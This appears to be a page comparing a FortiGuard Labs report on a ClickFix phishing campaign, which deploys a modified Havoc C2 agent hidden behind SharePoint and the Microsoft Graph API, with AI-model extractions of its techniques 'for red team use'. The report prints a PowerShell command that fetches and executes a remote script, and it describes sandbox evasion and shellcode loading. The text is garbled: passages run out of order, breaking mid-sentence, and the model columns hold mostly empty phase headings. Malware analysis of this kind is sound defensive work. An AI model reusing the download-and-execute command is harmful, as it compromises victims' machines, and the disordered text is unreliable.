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Havoc: SharePoint with Microsoft Graph API turns into FUD C2 | FortiGuard Labs Yurren Wan Affected platforms: Microsoft Windows Impacted parties: Any organization Impact: Attackers gain control of the infected systems Severity level: High Havoc is a powerful command-and-control (C2) framework. Like other well-known C2 frameworks, such as Cobalt Strike, Silver, and Winos4.0, Havoc has been used in threat campaigns to gain full control over the target. Additionally, It is open-source and available on GitHub, making it easier for threat actors to modify it to evade detection. FortiGuard Labs recently discovered a phishing campaign that combines ClickFix and multi-stage malware to deploy a modified Havoc Demon Agent. The threat actor hides each malware stage behind a SharePoint site and uses a modified version of Havoc Demon in conjunction with the Microsoft Graph API to obscure C2 communications within trusted, well-known services. Figure 1 shows the attack chain. Figure 1: Attack flow Initial Access The attack campaign starts with a phishing email containing an HTML file as an attachment, as illustrated in Figure 2. It uses a brief explanation and an urgent tone to prompt the recipient to open the attachment immediately. Figure 2: The phishing e-mail The attachment, “Documents.html,” is a ClickFix attack that embeds a fake error message and instructions in HTML to deceive users into copying and pasting a malicious PowerShell command into their terminal or PowerShell, ultimately executing malicious code. Figure 3: Document.html using ClickFix social engineering tactic Decoding the base64-encoded string shown in Figure 3 reveals a PowerShell command that downloads and executes a remote PowerShell script. powershell -w h -c "iwr ‘hxxps://hao771[.]sharepoint.com/layouts/15/ download.aspx?share=EU7smZuKo- pDixZ26BSAaX0BVVcF5VkOc7qEvjsDSAH9OQ'|iex" payload_20250112_074319.ps1 The Script file is hosted in SharePoint and controlled by the threat actor. When the script runs, it checks whether the execution environment is a sandbox by verifying the number of domain Python Shellcode Loader - payload_20250107_015913.py Like the PowerShell script, the Python script is hosted on the same SharePoint. It contains debug information written in Russian and serves as a shellcode loader. We executed the script directly with the Python interpreter in the terminal. The log displays “Выделение памяти” (memory allocation), "Запись в память” (write to memory), "Выполнение shellcode” (execution of shellcode), and " Завершение выполнения скрипта” (script execution completion) in sequence, indicating successful shellcode execution, as seen in Figure 6. Figure 6: Python script for shellcode execution KaynLdr KaynLdr is a Github Shellcode Loader designed to reflectively load an embedded DLL. It complicates analysis by using API hashing with a modified DJB2 algorithm and leverages resolved ntdll APIs for memory allocation and mapping. The instruction “call rax” executes the embedded DLL's entry point, as shown in Figure 7. computers. It then deletes all registry entries under HKCU:\Software\Microsoft with names starting with "zr" and adds the specified property as an infection marker, as shown in Figure 4. Figure 4: PowerShell script for sandbox evasion and infection tagging Next, the script verifies the existence of pythonw.exe. If it’s not found, it downloads the Python interpreter. Otherwise, it directly runs the Python script. Finally, the remote Python script is retrieved and executed in hidden windows to obscure malicious activity, as shown in Figure 5. Figure 5: PowerShell script for downloading and executing the remote Python script Figure 8: DemonMain in the modified Havoc Demon DLL and the retrieved APIs are stored in the structure beginning at address 0xb6 The second function, “SharePointC2Init,” initializes files on the actors' SharePoint site using the Microsoft Graph API. It first combines the hardcoded shared secret with the necessary parameters for a POST request. It then sends the request to the /token endpoint of the Microsoft Identity Platform to obtain access tokens for Microsoft Graph APIs. Figure 9: Access token request with a hardcoded shared secret Next, it utilizes the obtained token to create two files in SharePoint's default document library by making a PUT request, as shown in Figure 10. Figure 10: Creating a file in the root folder The Havoc AgentID generates the VictimID as a filename, concatenated with the suffix “pD9- tKout/pD9-tKin” to indicate their purpose. Table 1: Two files utilized for Sharepoint C2 to control the target. Figure 7: Executing the dll with KaynLDR shellcode loader Havoc Demon DLL Havoc is an open-source post-exploitation command and control framework used in red teaming exercises and attack campaigns to gain complete control over compromised targets. In this attack campaign, we observed that the threat actor uses Havoc in conjunction with the Microsoft Graph API to conceal C2 communication within well-known services. The modified Havoc Demon DLL still starts with DemonInit and uses the same hash algorithm as KaynLdr to retrieve the necessary APIs and initialize the configuration objects. The initial packet sent to C2 is a CheckIn request containing data gathered from the DemonMetaData function. In this step, the victim's information—such as Host Name, User Name, Domain Name, IP Address, Process Details, OS Information, whether the user has an elevated account, and the configuration in the Demon DLL—is sent to the C2 server. All content is encrypted using the AES-256 algorithm in CTR mode with a randomly generated 256-bit key and a 128-bit IV. Finally, it is combined with the header, as illustrated in Figure 11, before being sent to the C2 server via the TransportSend function. Figure 11: The contents of CheckIn request and Metadata Structure in Havoc Github The TransportSend function has been modified to communicate with the C2 by accessing two files: {VictimID}pD9-tKout and {VictimID}pD9-tKin. It updates the request to the “{VictimID}pD9-tKout” file and then retrieves the response from the C2 by using Microsoft Graph API with the GET method to access the contents of the ‘{VictimID} pD9-tKin’ file. If the response is successfully retrieved, the content of file '{VictimID}pD9-tKin' is immediately erased. Figure 12: The modified TransportSend function and the function “FetchInFile” Next, the content in the response is compared with the AgentID. If they match, the session.connected flag is set, and it enters the dispatcher routine to await new tasks from the attacker. In the dispatcher routine, the agent sends a 'Get Job' request and parses the response into Command ID, Request ID, and task. Although we only observed DEMON_COMMAND_NO_JOB (Command ID: 0xA) during our analysis, as shown in below, we found that the task would be decrypted and executed if a different command ID exists and is not 0xA in the program. Figure 13: Accessing the contents of the ‘{VictimID}pD9-tKin’ file The supported commands are the same as those in Havoc Github, as shown in Figure 14. They include gathering information about the target, file operations, command and payload execution, token manipulation, and Kerberos Attacks. Figure 14: The primary function for executing the Demon command Conclusion In addition to staying alert for phishing emails, guided messages that encourage opening a terminal or PowerShell must be handled with extra caution to prevent inadvertently downloading and executing malicious commands. In this article, we uncovered the execution flow and the altered open-source post-exploitation framework used in this attack. Public services once again play a crucial role in the attack campaign, now further integrated with modified Havoc Demon to hide malicious communication within the Microsoft Graph API, making identification and detection even more challenging. Fortinet Protections The malware described in this report are detected and blocked by FortiGuard Antivirus as: HTML/Agent.A5D4!tr PowerShell/MalwThreat!ebc5FT Python/Agent.DF60!tr W64/Havoc.L!tr FortiGate, FortiMail, FortiClient, and FortiEDR support the FortiGuard Antivirus Service. The FortiGuard antivirus engine is part of each of those solutions. As a result, customers who have these products with up-to-date protections are protected. The FortiGuard CDR (content disarm and reconstruction) service can disarm the malicious macros within the document. FortiGuard Labs provides the Backdoor.Havoc.Agent IPS signature to block Havoc C2 network communications. We also suggest that organizations take the free Fortinet Fortinet Certified Fundamentals (FCF) cybersecurity training. The training is designed to help users learn about today's threat landscape and introduces basic cybersecurity concepts and technology. FortiGuard IP Reputation and Anti-Botnet Security Service proactively block malware attacks by aggregating malicious source IP data from the Fortinet distributed network of threat sensors, |
| Original Text | ChatGPT 4o Paged |
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Havoc: SharePoint with Microsoft Graph API turns into FUD C2 | FortiGuard Labs Yurren Wan Affected platforms: Microsoft Windows Impacted parties: Any organization Impact: Attackers gain control of the infected systems Severity level: High Havoc is a powerful command-and-control (C2) framework. Like other well-known C2 frameworks, such as Cobalt Strike, Silver, and Winos4.0, Havoc has been used in threat campaigns to gain full control over the target. Additionally, It is open-source and available on GitHub, making it easier for threat actors to modify it to evade detection. FortiGuard Labs recently discovered a phishing campaign that combines ClickFix and multi-stage malware to deploy a modified Havoc Demon Agent. The threat actor hides each malware stage behind a SharePoint site and uses a modified version of Havoc Demon in conjunction with the Microsoft Graph API to obscure C2 communications within trusted, well-known services. Figure 1 shows the attack chain. Figure 1: Attack flow Initial Access The attack campaign starts with a phishing email containing an HTML file as an attachment, as illustrated in Figure 2. It uses a brief explanation and an urgent tone to prompt the recipient to open the attachment immediately. |
Phase: Initial Access
Phase: Delivery
Phase: Command and Control
Phase: Evasion
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Figure 2: The phishing e-mail The attachment, “Documents.html,” is a ClickFix attack that embeds a fake error message and instructions in HTML to deceive users into copying and pasting a malicious PowerShell command into their terminal or PowerShell, ultimately executing malicious code. Figure 3: Document.html using ClickFix social engineering tactic Decoding the base64-encoded string shown in Figure 3 reveals a PowerShell command that downloads and executes a remote PowerShell script. powershell -w h -c "iwr ‘hxxps://hao771[.]sharepoint.com/_layouts/15/ download.aspx?share=EU7smZuKo- pDixZ26BSAaX0BVVcF5VkOc7qEvjsDSAH9OQ'|iex" payload_20250112_074319.ps1 The Script file is hosted in SharePoint and controlled by the threat actor. When the script runs, it checks whether the execution environment is a sandbox by verifying the number of domain |
Phase: Initial Access
Phase: Execution
Phase: Defense Evasion
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Python Shellcode Loader - payload_20250107_015913.py Like the PowerShell script, the Python script is hosted on the same SharePoint. It contains debug information written in Russian and serves as a shellcode loader. We executed the script directly with the Python interpreter in the terminal. The log displays “Выделение памяти” (memory allocation), "Запись в память” (write to memory), "Выполнение shellcode” (execution of shellcode), and " Завершение выполнения скрипта” (script execution completion) in sequence, indicating successful shellcode execution, as seen in Figure 6. Figure 6: Python script for shellcode execution KaynLdr KaynLdr is a Github Shellcode Loader designed to reflectively load an embedded DLL. It complicates analysis by using API hashing with a modified DJB2 algorithm and leverages resolved ntdll APIs for memory allocation and mapping. The instruction “call rax” executes the embedded DLL's entry point, as shown in Figure 7. |
Phase: Execution
Likely Command:
Phase: Execution
Key Instruction:
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computers. It then deletes all registry entries under HKCU:\Software\Microsoft with names starting with "zr_" and adds the specified property as an infection marker, as shown in Figure 4. Figure 4: PowerShell script for sandbox evasion and infection tagging Next, the script verifies the existence of pythonw.exe. If it’s not found, it downloads the Python interpreter. Otherwise, it directly runs the Python script. Finally, the remote Python script is retrieved and executed in hidden windows to obscure malicious activity, as shown in Figure 5. Figure 5: PowerShell script for downloading and executing the remote Python script |
Phase: Defense Evasion
Phase: Execution
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Figure 8: DemonMain in the modified Havoc Demon DLL and the retrieved APIs are stored in the structure beginning at address 0xb6 The second function, “SharePointC2Init,” initializes files on the actors' SharePoint site using the Microsoft Graph API. It first combines the hardcoded shared secret with the necessary parameters for a POST request. It then sends the request to the /token endpoint of the Microsoft Identity Platform to obtain access tokens for Microsoft Graph APIs. Figure 9: Access token request with a hardcoded shared secret Next, it utilizes the obtained token to create two files in SharePoint's default document library by making a PUT request, as shown in Figure 10. Figure 10: Creating a file in the root folder The Havoc AgentID generates the VictimID as a filename, concatenated with the suffix “pD9- tKout/pD9-tKin” to indicate their purpose. Table 1: Two files utilized for Sharepoint C2 to control the target. |
Phase: Command-and-Control (C2) Setup
Steps:
These procedures illustrate how the threat actor establishes and maintains communication with the compromised system using modified Havoc Demon tools and leveraging cloud-based services for stealthy command-and-control operations. |
Figure 7: Executing the dll with KaynLDR shellcode loader Havoc Demon DLL Havoc is an open-source post-exploitation command and control framework used in red teaming exercises and attack campaigns to gain complete control over compromised targets. In this attack campaign, we observed that the threat actor uses Havoc in conjunction with the Microsoft Graph API to conceal C2 communication within well-known services. The modified Havoc Demon DLL still starts with DemonInit and uses the same hash algorithm as KaynLdr to retrieve the necessary APIs and initialize the configuration objects. |
Phase: Execution
Phase: Command and Control
These actions illustrate the use of advanced techniques to execute malicious payloads and maintain covert C2 communications. |
The initial packet sent to C2 is a CheckIn request containing data gathered from the DemonMetaData function. In this step, the victim's information—such as Host Name, User Name, Domain Name, IP Address, Process Details, OS Information, whether the user has an elevated account, and the configuration in the Demon DLL—is sent to the C2 server. All content is encrypted using the AES-256 algorithm in CTR mode with a randomly generated 256-bit key and a 128-bit IV. Finally, it is combined with the header, as illustrated in Figure 11, before being sent to the C2 server via the TransportSend function. Figure 11: The contents of CheckIn request and Metadata Structure in Havoc Github The TransportSend function has been modified to communicate with the C2 by accessing two files: {VictimID}pD9-tKout and {VictimID}pD9-tKin. It updates the request to the “{VictimID}pD9-tKout” file and then retrieves the response from the C2 by using Microsoft Graph API with the GET method to access the contents of the ‘{VictimID} pD9-tKin’ file. If the response is successfully retrieved, the content of file '{VictimID}pD9-tKin' is immediately erased. |
Phase: Command and Control (C2) Communication
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Figure 12: The modified TransportSend function and the function “FetchInFile” Next, the content in the response is compared with the AgentID. If they match, the session.connected flag is set, and it enters the dispatcher routine to await new tasks from the attacker. In the dispatcher routine, the agent sends a 'Get Job' request and parses the response into Command ID, Request ID, and task. Although we only observed DEMON_COMMAND_NO_JOB (Command ID: 0xA) during our analysis, as shown in below, we found that the task would be decrypted and executed if a different command ID exists and is not 0xA in the program. Figure 13: Accessing the contents of the ‘{VictimID}pD9-tKin’ file The supported commands are the same as those in Havoc Github, as shown in Figure 14. They include gathering information about the target, file operations, command and payload execution, token manipulation, and Kerberos Attacks. |
Phase: Command and Control
Phase: Execution
Phase: Credential Access
Phase: Persistence
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Figure 14: The primary function for executing the Demon command Conclusion In addition to staying alert for phishing emails, guided messages that encourage opening a terminal or PowerShell must be handled with extra caution to prevent inadvertently downloading and executing malicious commands. In this article, we uncovered the execution flow and the altered open-source post-exploitation framework used in this attack. Public services once again play a crucial role in the attack campaign, now further integrated with modified Havoc Demon to hide malicious communication within the Microsoft Graph API, making identification and detection even more challenging. Fortinet Protections The malware described in this report are detected and blocked by FortiGuard Antivirus as: HTML/Agent.A5D4!tr PowerShell/MalwThreat!ebc5FT Python/Agent.DF60!tr W64/Havoc.L!tr FortiGate, FortiMail, FortiClient, and FortiEDR support the FortiGuard Antivirus Service. The FortiGuard antivirus engine is part of each of those solutions. As a result, customers who have these products with up-to-date protections are protected. The FortiGuard CDR (content disarm and reconstruction) service can disarm the malicious macros within the document. FortiGuard Labs provides the Backdoor.Havoc.Agent IPS signature to block Havoc C2 network communications. We also suggest that organizations take the free Fortinet Fortinet Certified Fundamentals (FCF) cybersecurity training. The training is designed to help users learn about today's threat landscape and introduces basic cybersecurity concepts and technology. FortiGuard IP Reputation and Anti-Botnet Security Service proactively block malware attacks by aggregating malicious source IP data from the Fortinet distributed network of threat sensors, |
Phase: Execution
Phase: C2 Communication
Phase: Defense Evasion
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| Gemini 2.0 |
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Model: gemini-2.0-flashOK, here's the structured extraction of the TTPs from the provided CTI report, formatted for red team use. Phase: Initial Access
Phase: Execution
Phase: Persistence/Privilege Escalation
Phase: Command and Control
Phase: Exfiltration & Command Execution
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| Gemini 2.5 |
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Model: gemini-2.5-flash-preview-05-20Here's a structured breakdown of the threat actor's procedures for red team emulation, focusing on tactics, techniques, and tools while excluding specific Indicators of Compromise (IOCs). Phase: Initial Access
Phase: Execution
Phase: Command and Control (C2)
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